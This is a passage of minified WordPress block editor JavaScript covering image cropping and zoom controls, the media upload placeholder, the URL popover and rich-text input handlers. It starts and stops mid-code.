0:a.y)||this.emitCropAreaChange(),e.zoomWithScroll!==this.props.zoomWithScroll&amp;&amp;this.containerRef&amp;&amp;(this.props.zoomWithScroll?this.containerRef.addEventListener(&quot;wheel&quot;,this.onWheel,{passive:!1}):this.clearScrollEvent()),e.video!==this.props.video&amp;&amp;(null===(c=this.videoRef.current)||void 0===c||c.load());var u=this.getObjectFit();u!==this.state.mediaObjectFit&amp;&amp;this.setState({mediaObjectFit:u},this.computeSizes)},t.prototype.getAspect=function(){var e=this.props,t=e.cropSize,n=e.aspect;return t?t.width/t.height:n},t.prototype.getObjectFit=function(){var e,t,n,o;if(&quot;cover&quot;===this.props.objectFit){if((this.imageRef.current||this.videoRef.current)&amp;&amp;this.containerRef){this.containerRect=this.containerRef.getBoundingClientRect();var r=this.containerRect.width/this.containerRect.height;return((null===(e=this.imageRef.current)||void 0===e?void 0:e.naturalWidth)||(null===(t=this.videoRef.current)||void 0===t?void 0:t.videoWidth)||0)/((null===(n=this.imageRef.current)||void 0===n?void 0:n.naturalHeight)||(null===(o=this.videoRef.current)||void 0===o?void 0:o.videoHeight)||0)&lt;r?&quot;horizontal-cover&quot;:&quot;vertical-cover&quot;}return&quot;horizontal-cover&quot;}return this.props.objectFit},t.prototype.onPinchStart=function(e){var n=t.getTouchPoint(e.touches[0]),o=t.getTouchPoint(e.touches[1]);this.lastPinchDistance=FP(n,o),this.lastPinchRotation=HP(n,o),this.onDragStart($P(n,o))},t.prototype.onPinchMove=function(e){var n=this;if(this.currentDoc&amp;&amp;this.currentWindow){var o=t.getTouchPoint(e.touches[0]),r=t.getTouchPoint(e.touches[1]),i=$P(o,r);this.onDrag(i),this.rafPinchTimeout&amp;&amp;this.currentWindow.cancelAnimationFrame(this.rafPinchTimeout),this.rafPinchTimeout=this.currentWindow.requestAnimationFrame((function(){var e=FP(o,r),t=n.props.zoom*(e/n.lastPinchDistance);n.setNewZoom(t,i,{shouldUpdatePosition:!1}),n.lastPinchDistance=e;var s=HP(o,r),l=n.props.rotation+(s-n.lastPinchRotation);n.props.onRotationChange&amp;&amp;n.props.onRotationChange(l),n.lastPinchRotation=s}))}},t.prototype.render=function(){var e=this,t=this.props,n=t.image,o=t.video,r=t.mediaProps,i=t.transform,s=t.crop,l=s.x,a=s.y,c=t.rotation,u=t.zoom,d=t.cropShape,p=t.showGrid,h=t.style,g=h.containerStyle,m=h.cropAreaStyle,f=h.mediaStyle,b=t.classes,k=b.containerClassName,v=b.cropAreaClassName,_=b.mediaClassName,y=this.state.mediaObjectFit;return rc.createElement(&quot;div&quot;,{onMouseDown:this.onMouseDown,onTouchStart:this.onTouchStart,ref:function(t){return e.containerRef=t},&quot;data-testid&quot;:&quot;container&quot;,style:g,className:ZP(&quot;reactEasyCrop_Container&quot;,k)},n?rc.createElement(&quot;img&quot;,LP({alt:&quot;&quot;,className:ZP(&quot;reactEasyCrop_Image&quot;,&quot;contain&quot;===y&amp;&amp;&quot;reactEasyCrop_Contain&quot;,&quot;horizontal-cover&quot;===y&amp;&amp;&quot;reactEasyCrop_Cover_Horizontal&quot;,&quot;vertical-cover&quot;===y&amp;&amp;&quot;reactEasyCrop_Cover_Vertical&quot;,_)},r,{src:n,ref:this.imageRef,style:LP(LP({},f),{transform:i||&quot;translate(&quot;.concat(l,&quot;px, &quot;).concat(a,&quot;px) rotate(&quot;).concat(c,&quot;deg) scale(&quot;).concat(u,&quot;)&quot;)}),onLoad:this.onMediaLoad})):o&amp;&amp;rc.createElement(&quot;video&quot;,LP({autoPlay:!0,loop:!0,muted:!0,className:ZP(&quot;reactEasyCrop_Video&quot;,&quot;contain&quot;===y&amp;&amp;&quot;reactEasyCrop_Contain&quot;,&quot;horizontal-cover&quot;===y&amp;&amp;&quot;reactEasyCrop_Cover_Horizontal&quot;,&quot;vertical-cover&quot;===y&amp;&amp;&quot;reactEasyCrop_Cover_Vertical&quot;,_)},r,{ref:this.videoRef,onLoadedMetadata:this.onMediaLoad,style:LP(LP({},f),{transform:i||&quot;translate(&quot;.concat(l,&quot;px, &quot;).concat(a,&quot;px) rotate(&quot;).concat(c,&quot;deg) scale(&quot;).concat(u,&quot;)&quot;)}),controls:!1}),(Array.isArray(o)?o:[{src:o}]).map((function(e){return rc.createElement(&quot;source&quot;,LP({key:e.src},e))}))),this.state.cropSize&amp;&amp;rc.createElement(&quot;div&quot;,{style:LP(LP({},m),{width:this.state.cropSize.width,height:this.state.cropSize.height}),&quot;data-testid&quot;:&quot;cropper&quot;,className:ZP(&quot;reactEasyCrop_CropArea&quot;,&quot;round&quot;===d&amp;&amp;&quot;reactEasyCrop_CropAreaRound&quot;,p&amp;&amp;&quot;reactEasyCrop_CropAreaGrid&quot;,v)}))},t.defaultProps={zoom:1,rotation:0,aspect:4/3,maxZoom:3,minZoom:1,cropShape:&quot;rect&quot;,objectFit:&quot;contain&quot;,showGrid:!0,style:{},classes:{},mediaProps:{},zoomSpeed:1,restrictPosition:!0,zoomWithScroll:!0},t.getMousePoint=function(e){return{x:Number(e.clientX),y:Number(e.clientY)}},t.getTouchPoint=function(e){return{x:Number(e.clientX),y:Number(e.clientY)}},t}(rc.Component);function YP({url:e,width:t,height:n,naturalHeight:o,naturalWidth:r,borderProps:i}){const{isInProgress:s,editedUrl:l,position:a,zoom:c,aspect:u,setPosition:p,setCrop:h,setZoom:g,rotation:f}=jP(),[b,{width:k}]=(0,m.useResizeObserver)();let v=n||k*o/r;f%180==90&amp;&amp;(v=k*r/o);const _=(0,d.jsxs)(&quot;div&quot;,{className:gs(&quot;wp-block-image__crop-area&quot;,i?.className,{&quot;is-applying&quot;:s}),style:{...i?.style,width:t||k,height:v},children:[(0,d.jsx)(qP,{image:l||e,disabled:s,minZoom:SP/100,maxZoom:wP/100,crop:a,zoom:c/100,aspect:u,onCropChange:e=&gt;{p(e)},onCropComplete:e=&gt;{h(e)},onZoomChange:e=&gt;{g(100*e)}}),s&amp;&amp;(0,d.jsx)(Ss.Spinner,{})]});return(0,d.jsxs)(d.Fragment,{children:[b,_]})}var XP=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M13 5c-3.3 0-6 2.7-6 6 0 1.4.5 2.7 1.3 3.7l-3.8 3.8 1.1 1.1 3.8-3.8c1 .8 2.3 1.3 3.7 1.3 3.3 0 6-2.7 6-6S16.3 5 13 5zm0 10.5c-2.5 0-4.5-2-4.5-4.5s2-4.5 4.5-4.5 4.5 2 4.5 4.5-2 4.5-4.5 4.5z&quot;})});function QP(){const{isInProgress:e,zoom:t,setZoom:n}=jP();return(0,d.jsx)(Ss.Dropdown,{contentClassName:&quot;wp-block-image__zoom&quot;,popoverProps:CP,renderToggle:({isOpen:t,onToggle:n})=&gt;(0,d.jsx)(Ss.ToolbarButton,{icon:XP,label:(0,T.__)(&quot;Zoom&quot;),onClick:n,&quot;aria-expanded&quot;:t,disabled:e}),renderContent:()=&gt;(0,d.jsx)(Ss.__experimentalDropdownContentWrapper,{paddingSize:&quot;medium&quot;,children:(0,d.jsx)(Ss.RangeControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:(0,T.__)(&quot;Zoom&quot;),min:SP,max:wP,value:Math.round(t),onChange:n})})})}var JP=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M15.1 4.8l-3-2.5V4c-4.4 0-8 3.6-8 8 0 3.7 2.5 6.9 6 7.7.3.1.6.1 1 .2l.2-1.5c-.4 0-.7-.1-1.1-.2l-.1.2v-.2c-2.6-.8-4.5-3.3-4.5-6.2 0-3.6 2.9-6.5 6.5-6.5v1.8l3-2.5zM20 11c-.2-1.4-.7-2.7-1.6-3.8l-1.2.8c.7.9 1.1 2 1.3 3.1L20 11zm-1.5 1.8c-.1.5-.2 1.1-.4 1.6s-.5 1-.8 1.5l1.2.9c.4-.5.8-1.1 1-1.8s.5-1.3.5-2l-1.5-.2zm-5.6 5.6l.2 1.5c1.4-.2 2.7-.7 3.8-1.6l-.9-1.1c-.9.7-2 1.1-3.1 1.2z&quot;})});function eR(){const{isInProgress:e,rotateClockwise:t}=jP();return(0,d.jsx)(Ss.ToolbarButton,{icon:JP,label:(0,T.__)(&quot;Rotate&quot;),onClick:t,disabled:e})}function tR(){const{isInProgress:e,apply:t,cancel:n}=jP();return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(Ss.ToolbarButton,{onClick:t,disabled:e,children:(0,T.__)(&quot;Apply&quot;)}),(0,d.jsx)(Ss.ToolbarButton,{onClick:n,children:(0,T.__)(&quot;Cancel&quot;)})]})}function nR({id:e,url:t,width:n,height:o,naturalHeight:r,naturalWidth:i,onSaveImage:s,onFinishEditing:l,borderProps:a}){return(0,d.jsxs)(EP,{id:e,url:t,naturalWidth:i,naturalHeight:r,onSaveImage:s,onFinishEditing:l,children:[(0,d.jsx)(YP,{borderProps:a,url:t,width:n,height:o,naturalHeight:r,naturalWidth:i}),(0,d.jsxs)(Ps,{children:[(0,d.jsxs)(Ss.ToolbarGroup,{children:[(0,d.jsx)(QP,{}),(0,d.jsx)(Ss.ToolbarItem,{children:e=&gt;(0,d.jsx)(RP,{toggleProps:e})}),(0,d.jsx)(eR,{})]}),(0,d.jsx)(Ss.ToolbarGroup,{children:(0,d.jsx)(tR,{})})]})]})}const oR=[25,50,75,100],rR=()=&gt;{};function iR(e,t,n){return{scaledWidth:Math.round(t*(e/100)),scaledHeight:Math.round(n*(e/100))}}function sR({imageSizeHelp:e,imageWidth:t,imageHeight:n,imageSizeOptions:o=[],isResizable:r=!0,slug:i,width:s,height:l,onChange:a,onChangeImage:c=rR}){const{currentHeight:u,currentWidth:p,updateDimension:g,updateDimensions:m}=function(e,t,n,o,r){const[i,s]=(0,h.useState)(t??o??&quot;&quot;),[l,a]=(0,h.useState)(e??n??&quot;&quot;);return(0,h.useEffect)((()=&gt;{void 0===t&amp;&amp;void 0!==o&amp;&amp;s(o),void 0===e&amp;&amp;void 0!==n&amp;&amp;a(n)}),[o,n]),(0,h.useEffect)((()=&gt;{void 0!==t&amp;&amp;Number.parseInt(t)!==Number.parseInt(i)&amp;&amp;s(t),void 0!==e&amp;&amp;Number.parseInt(e)!==Number.parseInt(l)&amp;&amp;a(e)}),[t,e]),{currentHeight:l,currentWidth:i,updateDimension:(e,t)=&gt;{const n=&quot;&quot;===t?void 0:parseInt(t,10);&quot;width&quot;===e?s(n):a(n),r({[e]:n})},updateDimensions:(e,t)=&gt;{a(e??n),s(t??o),r({height:e,width:t})}}}(l,s,n,t,a),f=oR.find((e=&gt;{const{scaledWidth:o,scaledHeight:r}=iR(e,t,n);return p===o&amp;&amp;u===r}));return(0,d.jsxs)(Ss.__experimentalVStack,{className:&quot;block-editor-image-size-control&quot;,spacing:&quot;4&quot;,children:[o&amp;&amp;o.length&gt;0&amp;&amp;(0,d.jsx)(Ss.SelectControl,{__nextHasNoMarginBottom:!0,label:(0,T.__)(&quot;Resolution&quot;),value:i,options:o,onChange:c,help:e,size:&quot;__unstable-large&quot;}),r&amp;&amp;(0,d.jsxs)(d.Fragment,{children:[(0,d.jsxs)(Ss.__experimentalHStack,{align:&quot;baseline&quot;,spacing:&quot;4&quot;,children:[(0,d.jsx)(Ss.__experimentalNumberControl,{label:(0,T.__)(&quot;Width&quot;),value:p,min:1,onChange:e=&gt;g(&quot;width&quot;,e),size:&quot;__unstable-large&quot;}),(0,d.jsx)(Ss.__experimentalNumberControl,{label:(0,T.__)(&quot;Height&quot;),value:u,min:1,onChange:e=&gt;g(&quot;height&quot;,e),size:&quot;__unstable-large&quot;})]}),(0,d.jsx)(Ss.__experimentalToggleGroupControl,{label:(0,T.__)(&quot;Image size presets&quot;),hideLabelFromVision:!0,onChange:e=&gt;{if(void 0===e)return void m();const{scaledWidth:o,scaledHeight:r}=iR(e,t,n);m(r,o)},value:f,isBlock:!0,__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,children:oR.map((e=&gt;(0,d.jsx)(Ss.__experimentalToggleGroupControlOption,{value:e,label:(0,T.sprintf)((0,T.__)(&quot;%d%%&quot;),e)},e)))})]})]})}function lR({url:e,urlLabel:t,className:n}){const o=gs(n,&quot;block-editor-url-popover__link-viewer-url&quot;);return e?(0,d.jsx)(Ss.ExternalLink,{className:o,href:e,children:t||(0,Ha.filterURLForDisplay)((0,Ha.safeDecodeURI)(e))}):(0,d.jsx)(&quot;span&quot;,{className:o})}const{__experimentalPopoverLegacyPositionToPlacement:aR}=U(Ss.privateApis),cR=(0,h.forwardRef)((({additionalControls:e,children:t,renderSettings:n,placement:o,focusOnMount:r=&quot;firstElement&quot;,position:i,...s},l)=&gt;{let a;void 0!==i&amp;&amp;I()(&quot;`position` prop in wp.blockEditor.URLPopover&quot;,{since:&quot;6.2&quot;,alternative:&quot;`placement` prop&quot;}),void 0!==o?a=o:void 0!==i&amp;&amp;(a=aR(i)),a=a||&quot;bottom&quot;;const[c,u]=(0,h.useState)(!1),p=!!n&amp;&amp;c;return(0,d.jsxs)(Ss.Popover,{ref:l,role:&quot;dialog&quot;,&quot;aria-modal&quot;:&quot;true&quot;,&quot;aria-label&quot;:(0,T.__)(&quot;Edit URL&quot;),className:&quot;block-editor-url-popover&quot;,focusOnMount:r,placement:a,shift:!0,variant:&quot;toolbar&quot;,...s,children:[(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-url-popover__input-container&quot;,children:(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-url-popover__row&quot;,children:[t,!!n&amp;&amp;(0,d.jsx)(Ss.Button,{className:&quot;block-editor-url-popover__settings-toggle&quot;,icon:_I,label:(0,T.__)(&quot;Link settings&quot;),onClick:()=&gt;{u(!c)},&quot;aria-expanded&quot;:c,size:&quot;compact&quot;})]})}),p&amp;&amp;(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-url-popover__settings&quot;,children:n()}),e&amp;&amp;!p&amp;&amp;(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-url-popover__additional-controls&quot;,children:e})]})}));cR.LinkEditor=function({autocompleteRef:e,className:t,onChangeInputValue:n,value:o,...r}){return(0,d.jsxs)(&quot;form&quot;,{className:gs(&quot;block-editor-url-popover__link-editor&quot;,t),...r,children:[(0,d.jsx)(lc,{value:o,onChange:n,autocompleteRef:e}),(0,d.jsx)(Ss.Button,{icon:ec,label:(0,T.__)(&quot;Apply&quot;),type:&quot;submit&quot;,size:&quot;compact&quot;})]})},cR.LinkViewer=function({className:e,linkClassName:t,onEditLinkClick:n,url:o,urlLabel:r,...i}){return(0,d.jsxs)(&quot;div&quot;,{className:gs(&quot;block-editor-url-popover__link-viewer&quot;,e),...i,children:[(0,d.jsx)(lR,{url:o,urlLabel:r,className:t}),n&amp;&amp;(0,d.jsx)(Ss.Button,{icon:$c,label:(0,T.__)(&quot;Edit&quot;),onClick:n,size:&quot;compact&quot;})]})};var uR=cR;const dR=()=&gt;{},pR=({src:e,onChange:t,onSubmit:n,onClose:o,popoverAnchor:r})=&gt;(0,d.jsx)(uR,{anchor:r,onClose:o,children:(0,d.jsx)(&quot;form&quot;,{className:&quot;block-editor-media-placeholder__url-input-form&quot;,onSubmit:n,children:(0,d.jsx)(Ss.__experimentalInputControl,{__next40pxDefaultSize:!0,label:(0,T.__)(&quot;URL&quot;),type:&quot;text&quot;,hideLabelFromVision:!0,placeholder:(0,T.__)(&quot;Paste or type URL&quot;),onChange:t,value:e,suffix:(0,d.jsx)(Ss.__experimentalInputControlSuffixWrapper,{variant:&quot;control&quot;,children:(0,d.jsx)(Ss.Button,{size:&quot;small&quot;,icon:ec,label:(0,T.__)(&quot;Apply&quot;),type:&quot;submit&quot;})})})})}),hR=({src:e,onChangeSrc:t,onSelectURL:n})=&gt;{const[o,r]=(0,h.useState)(null),[i,s]=(0,h.useState)(!1),l=()=&gt;{s(!1),o?.focus()};return(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-media-placeholder__url-input-container&quot;,children:[(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,className:&quot;block-editor-media-placeholder__button&quot;,onClick:()=&gt;{s(!0)},isPressed:i,variant:&quot;secondary&quot;,&quot;aria-haspopup&quot;:&quot;dialog&quot;,ref:r,children:(0,T.__)(&quot;Insert from URL&quot;)}),i&amp;&amp;(0,d.jsx)(pR,{src:e,onChange:t,onSubmit:t=&gt;{t.preventDefault(),e&amp;&amp;n&amp;&amp;(n(e),l())},onClose:l,popoverAnchor:o})]})};var gR=(0,Ss.withFilters)(&quot;editor.MediaPlaceholder&quot;)((function({value:e={},allowedTypes:t,className:n,icon:o,labels:r={},mediaPreview:i,notices:s,isAppender:l,accept:a,addToGallery:c,multiple:u=!1,handleUpload:p=!0,disableDropZone:m,disableMediaButtons:f,onError:b,onSelect:k,onCancel:v,onSelectURL:_,onToggleFeaturedImage:y,onDoubleClick:x,onFilesPreUpload:S=dR,onHTMLDrop:w,children:C,mediaLibraryButton:B,placeholder:j,style:E}){w&amp;&amp;I()(&quot;wp.blockEditor.MediaPlaceholder onHTMLDrop prop&quot;,{since:&quot;6.2&quot;,version:&quot;6.4&quot;});const M=(0,g.useSelect)((e=&gt;{const{getSettings:t}=e(Ii);return t().mediaUpload}),[]),[P,R]=(0,h.useState)(&quot;&quot;);(0,h.useEffect)((()=&gt;{R(e?.src??&quot;&quot;)}),[e?.src]);const A=n=&gt;{if(!p||&quot;function&quot;==typeof p&amp;&amp;!p(n))return k(n);let o;if(S(n),u)if(c){let t=[];o=n=&gt;{const o=(e??[]).filter((e=&gt;e.id?!t.some((({id:t})=&gt;Number(t)===Number(e.id))):!t.some((({urlSlug:t})=&gt;e.url.includes(t)))));k(o.concat(n)),t=n.map((e=&gt;{const t=e.url.lastIndexOf(&quot;.&quot;),n=e.url.slice(0,t);return{id:e.id,urlSlug:n}}))}}else o=k;else o=([e])=&gt;k(e);M({allowedTypes:t,filesList:n,onFileChange:o,onError:b,multiple:u})};async function N(e){const{blocks:n}=LS(e);if(!n?.length)return;const o=await Promise.all(n.map((e=&gt;{const n=e.name.split(&quot;/&quot;)[1];return e.attributes.id?(e.attributes.type=n,e.attributes):new Promise(((o,r)=&gt;{window.fetch(e.attributes.url).then((e=&gt;e.blob())).then((i=&gt;M({filesList:[i],additionalData:{title:e.attributes.title,alt_text:e.attributes.alt,caption:e.attributes.caption,type:n},onFileChange:([e])=&gt;{e.id&amp;&amp;o(e)},allowedTypes:t,onError:r}))).catch((()=&gt;o(e.attributes.url)))}))}))).catch((e=&gt;b(e)));o?.length&amp;&amp;k(u?o:o[0])}const L=e=&gt;{A(e.target.files)},D=j??(e=&gt;{let{instructions:a,title:c}=r;if(M||_||(a=(0,T.__)(&quot;To edit this block, you need permission to upload media.&quot;)),void 0===a||void 0===c){const e=t??[],[n]=e,o=1===e.length,r=o&amp;&amp;&quot;audio&quot;===n,i=o&amp;&amp;&quot;image&quot;===n,s=o&amp;&amp;&quot;video&quot;===n;void 0===a&amp;&amp;M&amp;&amp;(a=(0,T.__)(&quot;Drag and drop an image or video, upload, or choose from your library.&quot;),r?a=(0,T.__)(&quot;Drag and drop an audio file, upload, or choose from your library.&quot;):i?a=(0,T.__)(&quot;Drag and drop an image, upload, or choose from your library.&quot;):s&amp;&amp;(a=(0,T.__)(&quot;Drag and drop a video, upload, or choose from your library.&quot;))),void 0===c&amp;&amp;(c=(0,T.__)(&quot;Media&quot;),r?c=(0,T.__)(&quot;Audio&quot;):i?c=(0,T.__)(&quot;Image&quot;):s&amp;&amp;(c=(0,T.__)(&quot;Video&quot;)))}const u=gs(&quot;block-editor-media-placeholder&quot;,n,{&quot;is-appender&quot;:l});return(0,d.jsxs)(Ss.Placeholder,{icon:o,label:c,instructions:a,className:u,notices:s,onDoubleClick:x,preview:i,style:E,children:[e,C]})}),O=()=&gt;m?null:(0,d.jsx)(Ss.DropZone,{onFilesDrop:A,onDrop:N,isEligible:e=&gt;{const n=&quot;wp-block:core/&quot;,o=[];for(const t of e.types)t.startsWith(n)&amp;&amp;o.push(t.slice(14));return o.every((e=&gt;t.includes(e)))&amp;&amp;(!!u||1===o.length)}}),z=()=&gt;v&amp;&amp;(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,className:&quot;block-editor-media-placeholder__cancel-button&quot;,title:(0,T.__)(&quot;Cancel&quot;),variant:&quot;link&quot;,onClick:v,children:(0,T.__)(&quot;Cancel&quot;)}),V=()=&gt;_&amp;&amp;(0,d.jsx)(hR,{src:P,onChangeSrc:R,onSelectURL:_}),F=()=&gt;y&amp;&amp;(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-media-placeholder__url-input-container&quot;,children:(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,className:&quot;block-editor-media-placeholder__button&quot;,onClick:y,variant:&quot;secondary&quot;,children:(0,T.__)(&quot;Use featured image&quot;)})});return f?(0,d.jsx)(Ya,{children:O()}):(0,d.jsx)(Ya,{fallback:D(V()),children:(()=&gt;{const n=B??(({open:e})=&gt;(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,onClick:()=&gt;{e()},children:(0,T.__)(&quot;Media Library&quot;)})),o=(0,d.jsx)(qa,{addToGallery:c,gallery:u&amp;&amp;!(!t||0===t.length)&amp;&amp;t.every((e=&gt;&quot;image&quot;===e||e.startsWith(&quot;image/&quot;))),multiple:u,onSelect:k,allowedTypes:t,mode:&quot;browse&quot;,value:Array.isArray(e)?e.map((({id:e})=&gt;e)):e.id,render:n});if(M&amp;&amp;l)return(0,d.jsxs)(d.Fragment,{children:[O(),(0,d.jsx)(Ss.FormFileUpload,{onChange:L,accept:a,multiple:!!u,render:({openFileDialog:e})=&gt;{const t=(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,className:gs(&quot;block-editor-media-placeholder__button&quot;,&quot;block-editor-media-placeholder__upload-button&quot;),onClick:e,children:(0,T._x)(&quot;Upload&quot;,&quot;verb&quot;)}),o,V(),F(),z()]});return D(t)}})]});if(M){const e=(0,d.jsxs)(d.Fragment,{children:[O(),(0,d.jsx)(Ss.FormFileUpload,{render:({openFileDialog:e})=&gt;(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,onClick:e,variant:&quot;primary&quot;,className:gs(&quot;block-editor-media-placeholder__button&quot;,&quot;block-editor-media-placeholder__upload-button&quot;),children:(0,T._x)(&quot;Upload&quot;,&quot;verb&quot;)}),onChange:L,accept:a,multiple:!!u}),o,V(),F(),z()]});return D(e)}return D(o)})()})}));var mR=({colorSettings:e,...t})=&gt;{const n=e.map((e=&gt;{if(!e)return e;const{value:t,onChange:n,...o}=e;return{...o,colorValue:t,onColorChange:n}}));return(0,d.jsx)(yP,{settings:n,gradients:[],disableCustomGradients:!0,...t})};const fR={placement:&quot;bottom-start&quot;};var bR=()=&gt;(0,d.jsxs)(d.Fragment,{children:[[&quot;bold&quot;,&quot;italic&quot;,&quot;link&quot;,&quot;unknown&quot;].map((e=&gt;(0,d.jsx)(Ss.Slot,{name:`RichText.ToolbarControls.${e}`},e))),(0,d.jsx)(Ss.Slot,{name:&quot;RichText.ToolbarControls&quot;,children:e=&gt;{if(!e.length)return null;const t=e.map((([{props:e}])=&gt;e)).some((({isActive:e})=&gt;e));return(0,d.jsx)(Ss.ToolbarItem,{children:n=&gt;(0,d.jsx)(Ss.DropdownMenu,{icon:_I,label:(0,T.__)(&quot;More&quot;),toggleProps:{...n,className:gs(n.className,{&quot;is-pressed&quot;:t}),description:(0,T.__)(&quot;Displays more block tools&quot;)},controls:yt(e.map((([{props:e}])=&gt;e)),&quot;title&quot;),popoverProps:fR})})}})]});function kR({popoverAnchor:e}){return(0,d.jsx)(Ss.Popover,{placement:&quot;top&quot;,focusOnMount:!1,anchor:e,className:&quot;block-editor-rich-text__inline-format-toolbar&quot;,__unstableSlotName:&quot;block-toolbar&quot;,children:(0,d.jsx)(jT,{className:&quot;block-editor-rich-text__inline-format-toolbar-group&quot;,&quot;aria-label&quot;:(0,T.__)(&quot;Format tools&quot;),children:(0,d.jsx)(Ss.ToolbarGroup,{children:(0,d.jsx)(bR,{})})})})}var vR=({inline:e,editableContentElement:t})=&gt;e?(0,d.jsx)(kR,{popoverAnchor:t}):(0,d.jsx)(Ps,{group:&quot;inline&quot;,children:(0,d.jsx)(bR,{})});function _R(e){return e(de.store).getFormatTypes()}const yR=new Set([&quot;a&quot;,&quot;audio&quot;,&quot;button&quot;,&quot;details&quot;,&quot;embed&quot;,&quot;iframe&quot;,&quot;input&quot;,&quot;label&quot;,&quot;select&quot;,&quot;textarea&quot;,&quot;video&quot;]);function xR(e,t){return&quot;object&quot;!=typeof e?{[t]:e}:Object.fromEntries(Object.entries(e).map((([e,n])=&gt;[`${t}.${e}`,n])))}function SR(e,t){return e[t]?e[t]:Object.keys(e).filter((e=&gt;e.startsWith(t+&quot;.&quot;))).reduce(((n,o)=&gt;(n[o.slice(t.length+1)]=e[o],n)),{})}const wR=[&quot;`&quot;,&#039;&quot;&#039;,&quot;&#039;&quot;,&quot;“”&quot;,&quot;‘’&quot;];function CR(e){let t=e.length;for(;t--;){const n=gr(e[t].attributes);if(n)return e[t].attributes[n]=e[t].attributes[n].toString().replace(hr,&quot;&quot;),[e[t].clientId,n,0,0];const o=CR(e[t].innerBlocks);if(o)return o}return[]}function BR(e){if(!0===e||&quot;p&quot;===e||&quot;li&quot;===e)return!0===e?&quot;p&quot;:e}function IR({allowedFormats:e,disableFormats:t}){return t?IR.EMPTY_ARRAY:e}IR.EMPTY_ARRAY=[];const jR=[e=&gt;t=&gt;{function n(n){const{inputType:o,data:r}=n,{value:i,onChange:s,registry:l}=e.current;if(&quot;insertText&quot;!==o)return;if((0,de.isCollapsed)(i))return;const a=(0,f.applyFilters)(&quot;blockEditor.wrapSelectionSettings&quot;,wR).find((([e,t])=&gt;e===r||t===r));if(!a)return;const[c,u=c]=a,d=i.start,p=i.end+c.length;let h=(0,de.insert)(i,c,d,d);h=(0,de.insert)(h,u,p,p);const{__unstableMarkLastChangeAsPersistent:g,__unstableMarkAutomaticChange:m}=l.dispatch(Ii);g(),s(h),m();const b={};for(const e in n)b[e]=n[e];b.data=u;const{ownerDocument:k}=t,{defaultView:v}=k,_=new v.InputEvent(&quot;input&quot;,b);window.queueMicrotask((()=&gt;{n.target.dispatchEvent(_)})),n.preventDefault()}return t.addEventListener(&quot;beforeinput&quot;,n),()=&gt;{t.removeEventListener(&quot;beforeinput&quot;,n)}},e=&gt;t=&gt;{function n(){const{getValue:t,onReplace:n,selectionChange:o,registry:r}=e.current;if(!n)return;const i=t(),{start:s,text:l}=i;if(&quot; &quot;!==l.slice(s-1,s))return;const a=l.slice(0,s).trim(),c=(0,p.getBlockTransforms)(&quot;from&quot;).filter((({type:e})=&gt;&quot;prefix&quot;===e)),u=(0,p.findTransform)(c,(({prefix:e})=&gt;a===e));if(!u)return;const d=(0,de.toHTMLString)({value:(0,de.insert)(i,hr,0,s)}),h=u.transform(d);return o(...CR([h])),n([h]),r.dispatch(Ii).__unstableMarkAutomaticChange(),!0}function o(t){const{inputType:o,type:r}=t,{getValue:i,onChange:s,__unstableAllowPrefixTransformations:l,formatTypes:a,registry:c}=e.current;if(&quot;insertText&quot;!==o&amp;&amp;&quot;compositionend&quot;!==r)return;if(l&amp;&amp;n())return;const u=i(),d=a.reduce(((e,{__unstableInputRule:t})=&gt;(t&amp;&amp;(e=t(e)),e)),function(e){const t=&quot;tales of gutenberg&quot;,{start:n,text:o}=e;return n&lt;18||o.slice(n-18,n).toLowerCase()!==t?e:(0,de.insert)(e,&quot; 🐡🐢🦀🐤🦋🐘🐧🐹🦁🦄🦍🐼🐿🎃🐴🐝🐆🦕🦔🌱🍇π🍌🐉💧🥨🌌🍂🍠🥦🥚🥝🎟🥥🥒🛵🥖🍒🍯🎾🎲🐺🐚🐮⌛️&quot;)}(u)),{__unstableMarkLastChangeAsPersistent:p,__unstableMarkAutomaticChange:h}=c.dispatch(Ii);d!==u&amp;&amp;(p(),s({...d,activeFormats:u.activeFormats}),h())}return t.addEventListener(&quot;input&quot;,o),t.addEventListener(&quot;compositionend&quot;,o),()=&gt;{t.removeEventListener(&quot;input&quot;,o),t.removeEventListener(&quot;compositionend&quot;,o)}},e=&gt;t=&gt;{function n(t){if(&quot;insertReplacementText&quot;!==t.inputType)return;const{registry:n}=e.current;n.dispatch(Ii).__unstableMarkLastChangeAsPersistent()}return t.addEventListener(&quot;beforeinput&quot;,n),()=&gt;{t.removeEventListener(&quot;beforeinput&quot;,n)}},()=&gt;e=&gt;{function t(e){($a.isKeyboardEvent.primary(e,&quot;z&quot;)||$a.isKeyboardEvent.primary(e,&quot;y&quot;)||$a.isKeyboardEvent.primaryShift(e,&quot;z&quot;))&amp;&amp;e.preventDefault()}return e.addEventListener(&quot;keydown&quot;,t),()=&gt;{e.removeEventListener(&quot;keydown&quot;,t)}},e=&gt;t=&gt;{const{keyboardShortcuts:n}=e.current;function o(e){for(const t of n.current)t(e)}return t.addEventListener(&quot;keydown&quot;,o),()=&gt;{t.removeEventListener(&quot;keydown&quot;,o)}},e=&gt;t=&gt;{const{inputEvents:n}=e.current;function o(e){for(const t of n.current)t(e)}return t.addEventListener(&quot;input&quot;,o),()=&gt;{t.removeEventListener(&quot;input&quot;,o)}},e=&gt;t=&gt;{function 